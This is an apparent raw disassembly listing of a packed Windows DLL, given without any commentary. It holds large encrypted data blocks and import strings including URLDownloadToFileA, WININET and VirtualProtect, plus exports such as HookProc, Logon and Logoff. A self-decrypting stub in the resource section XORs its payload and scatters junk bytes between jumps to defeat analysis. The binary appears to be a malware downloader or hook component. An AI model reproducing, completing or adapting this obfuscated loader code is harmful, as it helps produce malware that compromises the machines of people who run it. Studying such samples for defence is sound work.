		dd 39B32F7Eh, 744F0F7Ch, 1883AFFAh, 72617205h, 0BD3A851Ch
		dd 49BCA455h, 1DA9AFE2h, 66604E53h, 0EC8F1A38h,	323B132Ah
		dd 897A0B5h, 66D67167h,	1B5B079Ch, 2A4A5F5Bh, 55E746C2h
		dd 0A6882408h, 77987EEEh, 4C6E265Bh, 0FF30FC6h,	7D6E22Fh
		dd 3C84A0BCh, 9D7C7E51h, 20EF80FAh, 0F1F15D6Bh,	39B0221Eh
		dd 42052E16h, 208DB4EDh, 746B7FBEh, 148F8CF0h, 8A7A7700h
		dd 376DB3F6h, 0F548173Bh, 0F20744E0h, 77390EADh, 1990A0F0h
		dd 0AB8A059h, 0DA942AA6h, 41B36349h, 68C0B762h,	0BA285D14h
		dd 0AF87BA43h, 588E1CF9h, 9CC5F283h, 0FC085D79h, 60F19398h
		dd 5091D85h, 0E092B8BFh, 21C183Bh, 0B8E9C79Eh, 929F58h
		dd 50E9FE8Bh, 0D3C10BBh, 7C6FCD88h, 903D40Ah, 605BD08Ch
		dd 27C62E34h, 42F3D392h, 138D3CF0h, 3170D796h, 0E1912F6h
		dd 3FF9D934h, 1D6A00A6h, 62FC9398h, 0E3EA0125h,	6FFEE6A3h
		dd 46C73C31h, 52C1D885h, 75754E1Bh, 62C42571h, 8028011Dh
		dd 0E084FEA4h, 2E261A79h, 76A151A9h, 2A223721h,	14F9C7C2h
		dd 13E3316h, 4170A59Ah,	1E3A2F0Ah, 45A151E7h, 976A2B0Eh
		dd 49D8C7C2h, 14F8C02h,	4DDCFA9Ah, 63171AF9h, 77A0FEBDh
		dd 976A053Eh, 34A383C2h, 469E7821h, 14A787C6h, 4F085DA8h
		dd 31708BCAh, 4B45053Eh, 69E680CEh, 5741525Ch, 0E084D885h
		dd 535D4E69h, 3170A59Ah, 63594A6Dh, 28E68013h, 468A4661h
		dd 2CBBD885h, 48293365h, 79BEDD1Dh, 0E6E1567h, 0B90425E2h
		dd 556C15ABh, 578493E0h, 62151A77h, 170FA784h, 172520C2h
		dd 4AB7A907h, 271C763Fh, 1B7E8EA4h, 6A077063h, 0B8D2CEA0h
		dd 157E7356h, 42ECB081h, 747C3CF0h, 5028F3F7h, 707869BBh
		dd 7C63E14Bh, 27746540h, 0BD2CD00h, 0A8D6144h, 0F9E09B1h
		dd 0F58FBBB8h, 16731867h, 84010EBAh, 31B245D8h,	8277253Eh
		dd 766747D1h, 8F9E7821h, 696B4B0Ah, 8B4F8C5Ch, 0B9044F0Eh
		dd 97811A79h, 31E9508Ah, 95EA053Eh, 69E65510h, 919B8C5Ch
		dd 9F95914h, 9D975DA8h,	147BD1ACh, 9B08DDA8h, 0E07E5C84h
		dd 98171BA9h, 0D1C0DC23h, 63171AF9h, 57446221h,	0B76A053Fh
		dd 0D746C626h, 0CEC60E90h, 6D49E610h, 27A51592h, 0DCD2CD00h
		dd 3E08B295h, 0C04F09BAh, 1EBCAD2Ah, 0C3A151E7h, 977CA98Ch
		dd 0C756C7C2h, 842E0180h, 0CA59B38Fh, 35029F83h, 0CE5D7D4Bh
		dd 0E3EA0087h, 0B1BB01A3h, 202E07FAh, 79235FCCh, 3BCB4EFCh
		dd 0B60433FAh, 0CF68DB63h, 0A9E908A7h, 0CD913FABh, 792BD198h
		dd 9A0115F4h, 0BD04259Fh, 0EC1D22Ah, 1028F353h,	0DF4BBBh
		dd 31281251h, 15DA1276h, 76E91756h, 83EAE501h, 22387C54h
		dd 6317C6E1h, 0AC3B8013h, 469E65E5h, 903F1F85h,	46AA5E2Ah
		dd 9201D885h, 842E03DBh, 6204DD1Eh, 84E81BDDh, 9728FD0Fh
		dd 0EE0C01D0h, 46EE8F69h, 38E56320h, 6A0DC86Fh,	0CF8C5Ch
		dd 46102E6Dh, 50CFAFF0h, 8264CE72h, 67E91BCBh, 5714CC00h
		dd 7F81BCDh, 9416CC00h,	40F91A2Ah, 7719D67Bh, 0CF3C10C2h
		dd 8D1C3AA3h, 849DAF9Bh, 4F1F937Dh, 55CFBBB0h, 0EFE7CDDAh
		dd 0B77F7D04h, 62E6C686h, 1506983Fh, 0F22151EFh, 805162Fh
		dd 69E60013h, 9091134h,	14F9C7C2h, 11F0C37h, 6270A59Ah
		dd 1E1B082Bh, 66A151E7h, 976A042Fh, 6AF9C7C2h, 14F0A23h
		dd 77FDDD9Ah, 0B8D3973h, 14C74507h, 2208DDA8h, 0E0C7E784h
		dd 2F171A79h, 76A1EBAAh, 2B257821h, 356309AEh, 830932A8h
		dd 0F3C4D3B3h, 151C2E34h, 2B0CD891h, 30390E0Ah,	0E084F984h
		dd 3D371A79h, 76A151B8h, 39332021h, 356309B1h, 554E983Fh
		dd 0F3C009D1h, 555C4E34h
		dd 42EC42A3h, 845C4E6Ah, 2228F38Fh, 0B5C4E6Ah, 22C009B1h
		dd 35024E6Ah, 0F4B242A2h, 27C62EBCh, 0F4644500h, 0B8D3CF0h
		dd 50644507h, 833C10BBh, 7C634507h, 838AD40Ah, 63C54507h
		dd 678A3CCAh, 76A145D1h, 62093021h, 14F9C7E5h, 6E667BA8h
		dd 0C6409E9h, 835C1B49h, 4C63E133h, 555C72BCh, 6EC4294h
		dd 75556D4Ah, 6C94B284h, 559D8C54h, 7DFB7F6h, 846ED42Ah
		dd 7799B91Fh, 0B8D3C42h, 0D9CBAB1h, 0DF38131Bh,	779FFEFDh
		dd 860C01B8h, 5028F38Fh, 358A9FBAh, 0F563E14Bh,	27C69BBEh
		dd 0F968CD00h, 0B8D3CB2h, 0FD6C4AB1h, 0CF3D97DCh, 22E74E0Dh
		dd 11029F18h, 0F3735384h, 93C62E34h, 7C775716h,	9F2ED40Ah
		dd 0B8D25B1Ah, 9B959F18h, 0F3C0251Eh, 0A7918234h, 69253891h
		dd 0ACBDDCh, 3284C1D1h,	5555253Eh, 56A15107h, 151C9821h
		dd 14F9C7C2h, 15C476Ah,	2270A59Ah, 1E5C4E6Ah, 22A151E7h
		dd 976A4E6Ah, 22B2C7C2h, 0A8D7C6Ah, 77594695h, 976A7382h
		dd 775B0FACh, 469E4E6Ah, 22B2D885h, 11039F6Ah, 0B3A793E7h
		dd 3503D83Fh, 0B625E14Bh, 0B49E78FFh, 6228EE00h, 97C4D53Fh
		dd 0BBF9C7C2h, 1CFD1F4h, 0BF2EA59Ah, 0B77F53E8h, 6FE7D797h
		dd 93BE4EEDh, 0F4E7A1CFh, 82220D2Fh, 6BFFC6C6h,	6AAC5Ch
		dd 6702208Ch, 14FAC54h,	95E72560h, 14F8C2Fh, 9807279Ah
		dd 6B151A49h, 670AC66Ah, 842F27D3h, 22B2C6FFh, 6B01F3BCh
		dd 80E68013h, 0B709EEC9h, 83FBC7C2h, 8FBE827h, 14FBC7F2h
		dd 0FF19EBCEh, 0C63E0BFh, 835C4E3Fh, 5CF4937Fh,	185C9F1Ch
		dd 78EE092Dh, 0A0D9Ah, 0A9F01C82h, 30C1CD3h, 75E0C584h
		dd 7C2C0821h, 8F8AC687h, 345EF1C7h, 488D6B2h, 28346C4Ch
		dd 5ED2F9ACh, 35202401h, 0C63EF4B0h, 3020E27Bh,	44D4EEB3h
		dd 351E2A0Bh, 40D1EF8Eh, 0DC543F38h, 72F8F980h,	212D01BFh
		dd 408B59C6h, 0F886C709h, 45D4853Ch, 3E362B0Eh,	34A383C2h
		dd 63475A7Dh, 0FE1A819h, 0E44A29EFh, 739BDEFEh,	6367696Dh
		dd 0ABB3AED7h, 73CB34BEh, 20435F1h, 957A5648h, 4424FD21h
		dd 0D428BE16h, 0CE3704B3h, 407E7338h, 53EBEFDCh, 6BAAABE6h
		dd 7AEFB2BCh, 5925990Bh, 7C374FC3h, 0D9257EAFh,	328EA8ACh
		dd 0A2D56818h, 508F04ABh, 636FE214h, 9252A3E0h,	3A67C0E4h
		dd 497C699h, 0EA75F263h, 1693F25Ah, 66103E2Eh, 0C76A3780h
		dd 660A588Fh, 1D69A7A3h, 0ECB97F18h, 6E3BCAE2h,	3AC96F07h
		dd 0CD37E1E0h, 662822C7h, 56C1A7E5h, 37336D42h,	7D1C68Ch
		dd 0CEE2E35Dh, 4F83E7E2h, 22336A1Eh, 11E29EFBh,	0A886FBC3h
		dd 0A8F8C22h, 886F5651h, 0D5BB77Ch, 2F2E2C16h, 4790ACDAh
		dd 3C547E51h, 39B38CA3h, 0B56F3C7Dh, 65D67421h,	0AE2EF731h
		dd 6119A59h, 4E3D3509h,	31DF94F0h, 1716715Ch, 0B73FD511h
		dd 777B685Dh, 65577ABDh, 7F7413E2h, 370BF4E0h, 0F1357282h
		dd 0CBD492F5h, 725F68F9h, 0AFB885h, 3C2B1E54h, 67BED537h
		dd 5EB0EA9Fh, 60F3D431h, 3601125Dh, 25F31944h, 4F39704Ah
		dd 11BB8AC0h, 611272F8h, 0F5A3F2ECh, 9C8B54A2h,	0C981742Fh
		dd 11490FF3h, 5CDD76B2h, 70DE758Eh, 0C6F2A838h,	81F8DE89h
		dd 939DDCh, 7FAC514Ah, 0CD51D954h, 36789FAh, 2A84ABD0h
		dd 45CCA6E9h, 43EA93B2h, 0EF69457Ah, 41C3B3FFh,	175E030Ah
		dd 29EBD66Bh, 4A4B486Bh, 94F961B8h, 9DEE935Eh, 9AE6CB5Fh
		dd 6C406FACh, 0FE87A024h, 0E829A589h, 622BB7C6h, 555B4B5Dh
		dd 64CF87EFh, 52516970h, 4CAFE4D0h, 58DCE536h, 42D080B2h
		dd 0A32FD464h, 76542991h, 0D62EF255h, 2ABCCAA3h, 303D1950h
		dd 376A81D2h, 646FB87Ch, 0AB3D1FFAh, 0A2E3A4Bh,	3785A7E6h
		dd 0E859795Bh, 0BEAA11A6h, 8E215B23h, 0DC99AF5h, 451968AFh
		dd 0A0CA9FECh, 530EE759h, 5D81EBEBh, 0F3049FBDh, 4B8CD3h
		dd 0E9E35F79h, 3731D58Eh, 0ED5D5D7Bh, 74AC80D5h, 0B8E442ADh
		dd 4FDA3ED7h, 16414E68h, 93C08CC2h, 0B866E017h,	3DDF9290h
		dd 66015F71h, 39F680A3h, 93164C6Bh, 19B94E33h, 573D2A07h
		dd 71D042DAh, 6BB19C27h, 8516F3F5h, 0C7001E2Ch,	0D5EF96C5h
		dd 7B73DC7h, 8CA8C020h,	16C13791h, 7AE2E621h, 7A4E69Ch
		dd 0DAB2B2BEh, 5F0B4931h, 5AE13E8Ah, 737E7D3Ah,	584AFEEh
		dd 0F8F1E34Fh, 178FB17Ch, 737D7414h, 93AAE5h, 7C7C765Ch
		dd 49D785B5h, 334C5F0Ch, 33D782AEh, 643A317Ch, 8C5E33B5h
		dd 45237AC7h, 5DA385C5h, 30395E01h, 40A287C2h, 38735F0Ah
		dd 21D75323h, 0F8AC6339h, 139B84DCh, 51247059h,	19818CCEh
		dd 1E051056h, 885F95Eh,	0A5E803BBh, 6CC3942Eh, 912B135Bh
		dd 90F76BC1h, 15D146ABh, 7129955Fh, 122D1CC7h, 0E6481502h
		dd 78D3E32h, 0E1B0D41Dh, 1C98BCBCh, 284A2143h, 324F4EA8h
		dd 8D329484h, 0ED007131h, 20E8EE2Ch, 8667557h, 0DD9D61C0h
		dd 1506F178h, 0A8EBCDC2h, 3485B507h, 8858FB1h, 0C10124Ch
		dd 29BCE56h, 5325684Bh,	178CAEECh, 0F0268548h, 1EB3D7ECh
		dd 6F7D6C59h, 0E754D8ECh, 0C04F973Fh, 26E1C1B0h, 4DD0694Ch
		dd 1C812486h, 5000DD7Eh, 0A662A8E2h, 6876C298h,	1AB892F1h
		dd 0A86AAB4Ah, 1D7C914Eh, 0B8D64A57h, 3A97425Bh, 636A5D7Bh
		dd 45F686F1h, 20019E94h, 47ABA15Eh, 627C5679h, 2DB8CE4h
		dd 0B5754355h, 1CA1ACFAh, 6B600A54h, 0C972B32Ch, 6922AB10h
		dd 757446AEh, 77C218D6h, 7981DB67h, 45944423h, 0DD88413Dh
		dd 49772819h, 0F79BD7EBh, 2DF28DDEh, 7F8588Ah, 955092Ah
		dd 80BC8447h, 6DB38B56h, 15D49256h, 0BEBE3F48h,	583C9406h
		dd 447D7515h, 6DD5575Bh, 5F25904Eh, 0EF55AE1h, 684D775Bh
		dd 19ED94F6h, 9E220B48h, 45BCC58Ah, 85E0D737h, 6C2967BEh
		dd 44776C57h, 1788AA80h, 76C0589Ah, 9CCA29ECh, 3BFA1D5Eh
		dd 8825B4EFh, 0FFADAC7Bh, 33E3B4F1h, 45667F59h,	592FADA8h
		dd 421A7D74h, 0B9B0F755h, 6478DBFAh, 1CAB80F0h,	0AD886F7Ch
		dd 1F157236h, 0D9D4D578h, 235CF93h, 83AD4855h, 0B1888435h
		dd 34858D01h, 25C6C3F3h, 0F36D9417h, 63E8B741h,	5F468CA7h
		dd 0CD6BBEF3h, 0D9597358h, 44AECE97h, 38C8F01Eh, 310EA4F9h
		dd 4476502Ch, 538781BBh, 2621399Fh, 31225BA7h, 3AE2714Bh
		dd 9EADC101h, 5796577Dh, 16AF183Ah, 9AE2D8Ch, 49A003EFh
		dd 45490D4Eh, 54F27D42h, 0CA56C55h, 0C4857341h,	0ED1E1C07h
		dd 3B3BAC31h, 0DB6368C0h, 9E859DEBh, 424086F5h,	0FEA185F5h
		dd 0D2100B32h, 71C494A6h, 0B1D5C426h, 158BE198h, 366D165Ch
		dd 91F5E3EEh, 43105558h, 31894CE6h, 0B167F6BBh,	9DF280A5h
		dd 45125038h, 5846447h,	4558F648h, 77CD28E0h, 6D79994Dh
		dd 0A2F28F8Eh, 6215AB1Ch, 12A5B2EDh, 1CCA61B7h,	3B79A685h
		dd 0CE02655Dh, 35D1A03Eh, 0F053234h, 0AE06EDBBh, 851D036h
		dd 0A968EFC7h, 3E7A5ED3h, 7946C78Dh, 3D027AF3h,	0BA4CE381h
		dd 54DC7089h, 0AEDC8FF6h, 0AFCC7FA2h, 31F04BBEh, 6910705Bh
		dd 5364D2E3h, 52445FFCh, 6CACD9F0h, 6BB83228h, 469B1040h
		dd 0E8727802h, 1CCD59CEh, 1A8811A5h, 0FE726B75h, 6B5D028Eh
		dd 18717115h, 0A04FC118h, 8E57C718h, 96DEE648h,	0C9875783h
		dd 40167B8Dh, 74F649F6h, 0B67D7839h, 0D4B34414h, 4647527Bh
		dd 65E9C389h, 0E1DD9324h, 606C1B0Bh, 0E735DA86h, 38E888A6h
		dd 5EBD6904h, 67B2D7B4h, 0CA1E7303h, 28333983h,	4B5C49E0h
		dd 0DC8929C7h, 1BBB7AD1h
		dd 186C4598h, 6FC70503h, 0CAFD8DEEh, 0DD9FF240h, 96527C6Fh
		dd 0B3AC3D35h, 204502A9h, 0FE437727h, 2557F17Dh, 2C78C642h
		dd 29F2F0EFh, 16557193h, 7F9065C7h, 19CE3F0Ch, 1643AC30h
		dd 0DB5F2F79h, 0BD324FE0h, 695B784Eh, 7074CBEBh, 8D1BDE64h
		dd 0B997E3F8h, 0A1016726h, 3E90B1D6h, 22D4F1EBh, 1694F3F3h
		dd 7B63AFEh, 38E0F185h,	31465839h, 0DBF140B1h, 6381155h
		dd 0FE968047h, 0C6A7EFAh, 0EBCD2180h, 2281E313h, 75E0F30Ah
		dd 22041A3Eh, 78EDFDB2h, 0D8630033h, 75E9AE7Dh,	10301533h
		dd 7DA3E9BAh, 841D113Fh, 30E6C8B1h, 0B8B3AAC7h,	7DEFBB97h
		dd 31A1537h, 77F9CFA2h,	0B120C6Ah, 8F1DC699h, 0E00E38Fh
		dd 66DDCFA0h, 4707082Bh, 6CEFD084h, 2E231B33h, 51EDC492h
		dd 0D0B173Eh, 0C7D73EE8h, 45B1938h, 6AEDD18Eh, 9191B2Ah
		dd 14FDE088h, 70F8C6EEh, 34A2D28Bh, 1A171733h, 8691D5B1h
		dd 15D5C78Fh, 7CEDC6F0h, 60040131h, 78E8D685h, 0B07E0131h
		dd 611F775Ch, 1803051Dh, 22E6DA84h, 0B18593Fh, 9FAC988h
		dd 0B1F11A31h, 67ED3E7Eh, 0F085D3Fh, 77F3C797h,	95021A37h
		dd 41B7ABD8h, 502EC2Fh,	8B9F318Ch, 7F7E3C7h, 63A5F52Ah
		dd 0F7520F16h, 5DEBC0A3h, 10070A35h, 4DF5CFB3h,	2E083530h
		dd 8F8DDC94h, 2200E187h, 6BEDDB88h, 0E0755A9h, 62F6E299h
		dd 0C173F36h, 76B2C891h, 0B9D0C2E5h, 8810C6E5h,	0B6838h
		dd 7AE9D890h, 0A577621h, 0C63B7634h, 21683E31h,	79D3CD1Eh
		dd 0D12A0B24h, 9516DC84h, 7F27AAE7h, 79E70EACh,	9010535h
		dd 68E7F28Eh, 0D8F21C36h, 78CC7635h, 28020A36h,	62F2DE1Eh
		dd 0A06642Dh, 87F9D086h, 11256737h, 63FED093h, 2D0B3F3Bh
		dd 5BFECF8Eh, 78057333h, 75FCDA8Dh, 2370020h, 20E71C86h
		dd 0B017282Ch, 631BAF34h, 0A1F0829h, 77D0CDF4h,	25290856h
		dd 0BC0D410h, 9F8EAE3h,	7CC0C894h, 0FD2C031Fh, 0F1FB6F84h
		dd 0DC54D729h, 76C3B0D9h, 0DD0F1E53h, 7E3BAC3Ch, 0A90B282Ah
		dd 51B5BF92h, 0D1E1222h, 2B05B699h, 44A8CC99h, 7CF0DAE4h
		dd 0F91B163Fh, 7C84CA34h, 206FE28h, 66CFDF90h, 93093C29h
		dd 0CB7DAF58h, 1F2F1B27h, 7BEEC666h, 2B231A20h,	61E1E78h
		dd 0D680824h, 67F1888Dh, 1D257933h, 60F082F9h, 6917063Eh
		dd 79D7735h, 0D062713h,	64F88EB7h, 0A62E1173h, 8D5BBE96h
		dd 3B3797DEh, 68C5E5A0h, 3F1A1AC6h, 7BF1DE91h, 77B90927h
		dd 5254AE62h, 1A1A1620h, 5CFB0A9Eh, 135B06B5h, 7C8CBABDh
		dd 1623021Fh, 58E9DDA5h, 57B27937h, 51A3EEEBh, 0AACB092Ch
		dd 7AF5C78Bh, 2F58DEBDh, 0FCC12F38h, 6C7883D2h,	78EC7A0Eh
		dd 0C272C4Ah, 79F5A198h, 0AAB9773Fh, 5E9C6E36h,	27106B3Eh
		dd 9D6DCA02h, 1E725F35h, 3DB0E28Bh, 107A2E30h, 0EEF5473Dh
		dd 811E0636h, 60C5D093h, 6C7546E5h, 3FEE28CEh, 0A047037h
		dd 1B9BD385h, 5C30B223h, 5121E29Bh, 23180B33h, 1E22440Eh
		dd 217EF33h, 2EF749FAh,	0B2A369DBh, 74C4269Ah, 400A0A7Ch
		dd 0DE8CB7BBh, 0F31B621h, 0F8E6D3D4h, 3C1FC188h, 7E5AC0BFh
		dd 9E9172Ch, 0B1A62CE8h, 2DE9515Dh, 761C4BA4h, 45D31150h
		dd 6420E675h, 831A4360h, 0A8B8AAD8h, 4026D20h, 0ECCEA4h
		dd 0E914CD83h, 62B1199Bh, 48590CCCh, 2B044E4Ah,	5788EC38h
		dd 72183187h, 5A9B4C30h, 7C1FD1D7h, 7FB73C1h, 3C2284D3h
		dd 9D0E1939h, 9BA69C25h, 9BE3056h, 70A5C094h, 434107Ah
		dd 0DD2DB40Eh, 1F951B0Eh, 5280C293h, 4BCF7A28h,	23E2CA0Fh
		dd 0CBE21B0Bh, 80EC28AEh, 1E2826h, 7D7E26E6h, 4CBDC3Eh
		dd 0EA5BE984h, 0A7A6D423h, 0F9B2217Eh, 0C5A3C732h, 71009583h
		dd 0ECB81726h, 41DEF6Bh, 974F423Fh, 28BD1B68h, 0EA2E65FDh
		dd 0A8F7A3ADh, 73925E3h, 3B1BF4DFh, 34EBB8h, 2CE0BF4h
		dd 2105FF5Ch, 757C19F8h, 50A9C9Ch, 5D2DE1C3h, 742832EEh
		dd 4330C3A2h, 69D7518Ch, 15AF11A4h, 339A3B77h, 7C08B2CEh
		dd 67C12D8h, 323F76B6h,	17B3B423h, 0AFE7C9h, 854A0000h
		dd 900h, 0FFh, 8247C80h, 0B9850F01h, 60000001h,	0D000BEh
		dd 62BE8D10h, 359D9D22h, 899DAFE1h, 0F2F2F26Fh,	0EA2464E8h
		dd 0B9632565h, 7CE96517h, 739E8CE1h, 0DA8F10B9h, 62626263h
		dd 6517B963h, 8CE17CE9h, 73B9739Eh, 11B963A2h, 0E96B178Dh
		dd 9E8CE17Ch, 8611B973h, 8AE1AB53h, 0A36F1061h,	64E86A82h
		dd 9D92E124h, 0A7EB1616h, 6517B963h, 8CE17CE9h,	73B9739Eh
		dd 17B963ABh, 0E17CE965h, 0B9739E8Ch, 4217AB73h, 17B96323h
		dd 0E17CE965h, 0B9739E8Ch, 0B963AB73h, 6B178D11h, 8CE17CE9h
		dd 11B9739Eh, 60A3E186h, 91629FE3h, 0B3E19D9Dh,	4D76EF63h
		dd 149E9FE1h, 2060E86Dh, 2B2565EAh, 18B9517h, 0F29D9D9Dh
		dd 0A0E160E9h, 0E165EB66h, 8BE166A5h, 63931566h, 9D2E8BADh
		dd 0EB3C9D9Dh, 62C0DB95h, 65E86262h, 5E8A4E25h,	0E2951563h
		dd 9017625Dh, 3DE865E9h, 8AA30466h, 72A2A36Ah, 9A4BA6E4h
		dd 638A89E2h, 0E165EB92h, 0BAEA67A5h, 0DCEFBB80h, 62628262h
		dd 0A26B65E9h, 3DE95E16h, 52E6EF66h, 62636262h,	0E1329163h
		dd 0F49D6AA5h, 626362C2h, 2565E8F7h, 0BE16A26Ah, 2A359BEBh
		dd 9D37CC90h, 6362C6F4h, 16A26B62h, 0E161EB65h,	838966A1h
		dd 0A0A25303h, 0A5E1626Eh, 9E3CEF66h, 65E8A253h, 16A26B25h
		dd 158D5E40h, 0E9A16373h, 0A3A6E461h, 0A6E472A2h, 61EB9263h
		dd 6D468089h, 47282A3h,	0A5E165E9h, 0E9808960h,	6362CACCh
		dd 62DCEF62h, 0D99D9D92h, 62627262h, 66083632h,	0B79D3531h
		dd 607DE5EFh, 42E26262h, 4A02E21Dh, 36323A1Dh, 9D353132h
		dd 0EF033AB7h, 8E24626h, 17A65B62h, 0E28EE198h,	9D70F08Bh
		dd 9Dh,	80h dup(0)
		dd 110E0h, 110A0h, 3 dup(0)
		dd 110EDh, 110B0h, 3 dup(0)
		dd 110FAh, 110B8h, 3 dup(0)
		dd 11104h, 110C0h, 3 dup(0)
		dd 11110h, 110C8h, 3 dup(0)
		dd 1111Bh, 110D0h, 3 dup(0)
		dd 11126h, 110D8h, 5 dup(0)
		dd 11132h, 11140h, 11150h, 0
		dd 11160h, 0
		dd 1116Eh, 0
		dd 1117Ch, 0
		dd 11186h, 0
		dd 1119Ah, 0
		dd 111A6h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 6C6F006Ch, 2E323365h, 6C6C64h, 574C4853h
		dd 2E495041h, 6C6C64h, 6D6C7275h, 642E6E6Fh, 55006C6Ch
		dd 33524553h, 6C642E32h, 4957006Ch, 454E494Eh, 6C642E54h
		dd 6Ch,	64616F4Ch, 7262694Ch, 41797261h, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 69560000h, 61757472h, 6F72506Ch
		dd 74636574h, 65520000h, 6F6C4367h, 654B6573h, 79h, 72436F43h
		dd 65746165h, 64697547h, 74530000h, 72684372h, 41h, 444C5255h
		dd 6C6E776Fh, 5464616Fh, 6C69466Fh, 4165h, 72707377h, 66746E69h
		dd 41h,	70747448h, 72657551h, 666E4979h, 416Fh,	0
		dd 465DA69Ah, 0
		dd 11226h, 1, 2	dup(7),	111E0h,	111FCh,	11218h,	17DAh
		dd 19F7h, 17D9h, 17CDh,	1A62h, 11FFh, 13B6h, 11231h, 1123Ah
		dd 1124Ah, 1125Ch, 11265h, 1126Ch, 11272h, 50000h, 10006h
		dd 30002h, 6C620004h, 626C6161h, 6C6C642Eh, 74634100h
		dd 74617669h, 6C440065h, 6E61436Ch, 6F6C6E55h, 6F4E6461h
		dd 6C440077h, 7465476Ch, 73616C43h, 6A624F73h, 746365h
		dd 6B6F6F48h, 636F7250h, 676F4C00h, 66666Fh, 6F676F4Ch
		dd 7453006Eh, 747261h, 10000h, 0Ch, 344Dh, 5Eh dup(0)
; ---------------------------------------------------------------------------
		cmp	byte ptr [esp+8], 1
		pusha
		jmp	short loc_413071
; ---------------------------------------------------------------------------
		dd 2CDF7E39h, 18FB8AF5h
		db 9Ah
; ---------------------------------------------------------------------------

loc_413071:				; CODE XREF: .rsrc:00413066j
		jnz	loc_413263
		call	sub_414C54
		les	ebp, [ebp-56CF8C1Eh]
		db	2Eh
		jnp	short near ptr byte_41308F
		pop	ds
		aas
; ---------------------------------------------------------------------------
		db 0
		dd 0C6120600h
		db 0E8h, 0E4h, 1Bh
byte_41308F	db 0			; CODE XREF: .rsrc:00413082j
		dd 0DE196000h, 0FBF04466h, 0B6000006h, 9EE81B06h, 9000001Bh
		dd 0F2868E89h, 0E8104BA2h, 1ED8h, 34774466h, 74E80000h
		dd 0C000001Bh, 67733EF9h, 0E8006868h, 1DA2h, 2A8516h, 0A0E80000h
		dd 0F0000019h, 1A05EE69h, 57DEh, 6A625CC6h, 0E8100114h
		dd 143Ah, 9E9ED920h, 119CD5B5h,	4DE47776h, 9A501302h, 0EB190430h
		dd 57C6F07h, 9A688B5Ah,	3EBC0D0h, 499A1467h, 800303EBh
		dd 0E1850F9Ah, 0E8FFFFFFh, 1C7Ch, 0F1987B0Ah, 0E8BD22D6h
		dd 1D30h, 0F6AE29B0h, 1B5652D9h, 92860000h, 1AE2E8EBh
		dd 99E00000h, 3991DC5Eh, 0E98C1A48h, 7F64D914h,	3600001Eh
		dd 3707E343h, 1C8C6D12h, 164D85CFh, 301D0000h, 0C53C03EBh
		dd 0B850F9Ah, 0E8000000h, 1D8Bh, 9C9B1E25h, 0FA819A7Dh
		dd 165h, 79400DEBh, 356C1FBEh, 0B1583BCAh, 0F9A1796h, 2585h
		dd 14D3E800h, 0D3110000h, 0E4CFh, 0F6E03EBh, 0F850F9Ah
		dd 0E8000000h, 14ADh, 2107ABC8h, 5D340746h, 0E8909AD2h
		dd 1C20h, 15CCFF1Eh, 91B81B2Ah,	544E9DF6h, 0D0000019h
		dd 0E9A7CEC9h, 21BEh, 0DD55A6h,	0DEB0000h, 7E390083h, 8AF52CDFh
		dd 567118FBh, 3EB9D9Ah,	9C9AE2ADh, 2EA905EBh, 0E99A5CCFh
		dd 21h,	48EB09EBh, 0F4C706E1h, 0EB9A921Dh, 1907EB14h, 0D58CBFDEh
		dd 0D5EB9AEAh, 0B65107EBh, 428D24B7h, 0B6E8589Ah, 8E00001Ch
		dd 9A45BCAFh, 66C1A8CBh, 28CC0h, 4303EB00h, 840F9AC0h
		dd 0Fh,	1BDFE8h, 87CE7E00h, 849716B0h, 9D9AA26Dh, 1666E8h
		dd 1C8FEE00h, 8ABFA25h,	0FDD3C6A1h, 0E5EC8707h,	0E607DFCFh
		db 0EFh, 0D9h, 9Ah
; ---------------------------------------------------------------------------

loc_413263:				; CODE XREF: .rsrc:loc_413071j
					; .rsrc:loc_413288j
		popa
		jmp	short loc_413269
; ---------------------------------------------------------------------------
		dw 954Ch
		db 9Ah
; ---------------------------------------------------------------------------

loc_413269:				; CODE XREF: .rsrc:00413264j
		jmp	loc_41329B
; ---------------------------------------------------------------------------
		jmp	short loc_413279
; ---------------------------------------------------------------------------
		dd 77761138h, 13024DE4h
		db 9Ah
; ---------------------------------------------------------------------------

loc_413279:				; CODE XREF: .rsrc:0041326Ej
		jmp	short loc_41329B
; ---------------------------------------------------------------------------
		jmp	short loc_413288
; ---------------------------------------------------------------------------
		db 4Eh,	6Fh, 7Ch
		dd 688B5A05h, 9A672681h
; ---------------------------------------------------------------------------

loc_413288:				; CODE XREF: .rsrc:0041327Bj
		jmp	short loc_413263
; ---------------------------------------------------------------------------
		dw 0B2E8h
		dd 80000016h, 306FEB9h,	0D6F144A0h
		db 57h,	44h, 9Ah
; ---------------------------------------------------------------------------

loc_41329B:				; CODE XREF: .rsrc:loc_413269j
					; .rsrc:loc_413279j
		nop
		pusha
		call	$+5
		jmp	short loc_4132AF
; ---------------------------------------------------------------------------
		mov	al, 29h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh

loc_4132AF:				; CODE XREF: .rsrc:004132A2j
		pop	eax
		jmp	short loc_4132BD
; ---------------------------------------------------------------------------
		dw 9D74h
		dd 99E0E312h, 550C3F5Eh
		db 6Ah
; ---------------------------------------------------------------------------

loc_4132BD:				; CODE XREF: .rsrc:004132B0j
		mov	ecx, 1B6h
		jmp	short loc_4132D1
; ---------------------------------------------------------------------------
		dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h
		db 3Ch
; ---------------------------------------------------------------------------

loc_4132D1:				; CODE XREF: .rsrc:004132C2j
		push	ecx
		jmp	short loc_4132DB
; ---------------------------------------------------------------------------
		dd 41284B1Ah
		db 0E6h, 27h, 0D4h
; ---------------------------------------------------------------------------

loc_4132DB:				; CODE XREF: .rsrc:004132D2j
					; .rsrc:loc_4132FDj
		xor	byte ptr [eax-11EBh], 62h
		jmp	short loc_4132ED
; ---------------------------------------------------------------------------
		dd 7940C372h, 356C1FBEh
		db 0CAh
; ---------------------------------------------------------------------------

loc_4132ED:				; CODE XREF: .rsrc:004132E2j
		inc	eax
		jmp	short loc_4132F5
; ---------------------------------------------------------------------------
		dd 1796B158h
		db 4
; ---------------------------------------------------------------------------

loc_4132F5:				; CODE XREF: .rsrc:004132EEj
		dec	ecx
		jmp	short loc_4132FD
; ---------------------------------------------------------------------------
		dd 0E970B322h
		db 6Eh
; ---------------------------------------------------------------------------

loc_4132FD:				; CODE XREF: .rsrc:004132F6j
		jnz	loc_4132DB
		jmp	short loc_41330E
; ---------------------------------------------------------------------------
		db 9Ch,	0A5h, 7Ah
; ---------------------------------------------------------------------------
